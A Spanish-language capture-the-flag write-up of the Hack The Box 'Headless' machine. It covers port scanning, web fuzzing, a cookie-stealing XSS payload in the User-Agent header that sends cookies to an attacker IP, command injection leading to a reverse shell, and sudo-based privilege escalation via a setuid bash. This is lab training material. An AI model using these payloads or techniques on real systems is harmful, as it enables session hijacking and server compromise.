Post

HTB Headless Writeup

HTB Headless Writeup

Muy buenas con todos, el día de hoy voy a resolver la máquina Headless de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.

Reconocimiento

Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128.

1
2
3
4
5
6
7
ping -c 1 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=117 ms

--- 10.10.11.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 117.141/117.141/117.141/0.000 ms

Vemos que el ttl de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux.

Ahora, con la herramienta nmap lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.8 -oG ports

Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.

1
extractPorts ports

Ahora con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.

1
nmap -sCV -p22,5000 10.10.11.8 -oN target

Aquí generamos un archivo en el formato normal de nmap en donde se nos muestra más información de los servicios que corren por esos puertos.

1
2
3
4
5
6
7
8
9
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Under Construction
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración Web

Bueno logramos ver que en la máquina por el puerto 5000 corre un servicio web, si lo vemos en el navegador nos dice que es un sitio en construcción y nos dan un apartado de soporte. Por el momento busquemos más rutas en la web.

1
ffuf -c -t 100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.8:5000/FUZZ

Lgramos ver que nos reporta una ruta con un estado 401 (Unauthorized).

XSS

Viendo la ruta support, lo primero en lo que podemos pensar es en un ataque del tipo XSS, así que allí vamos. Vemos que al ingresar algún tipo de payload nos devuelve un mensaje de intento de hacking y vemos nuestra petición tramitada.

Luego de varios intentos, pruebo a ingresar el payload en el user agent y en concreto este <script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script> fue el payload que me funciono.

Después de unos segundos nos devuelve una cadena en base64 y si vemos su contenido es una cookie. Podemos tratar de reemplazar este valor que obtuvimos en el apartado de dashboard.

Ganando acceso

Podemos ver que obtenemos acceso a algo que parece ser un generador de reportes mediante una fecha. Así que interceptamos esa petición con BurpSuite.

Luego de unas pruebas vemos que si ponemos un ; luego de la fecha podemos ejecutar comandos.

Para ganar acceso nos podemos ir a esta web y elegimos la reverse shell (nc mkfifo) en formato URL encode, o se puede usar cualquier otro payload que les funcione.

Una vez dentro hacemos en tratamiento de la tty.

1
2
3
4
5
6
7
8
9
script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset xterm

export TERM=xterm

Y logramos ver la primera flag.

Escalada de privilegios

Si ejecutamos el comando sudo -l podemos ver que tenemos la posibilidad de ejecutar un script con privilegios sudo sin proporcionar contraseña. Sí analizamos un poco el script. Vemos que hay una condición en donde se ejecuta un archivo desde la ruta donde estés actualmente.

Nos vamos a aprovechar de eso, vamos a crear un archivo con ese nombre para darle permisos setuid a la bash.

Bueno, una vez hecho todo eso logramos ver la última flag.

This post is licensed under CC BY 4.0 by the author.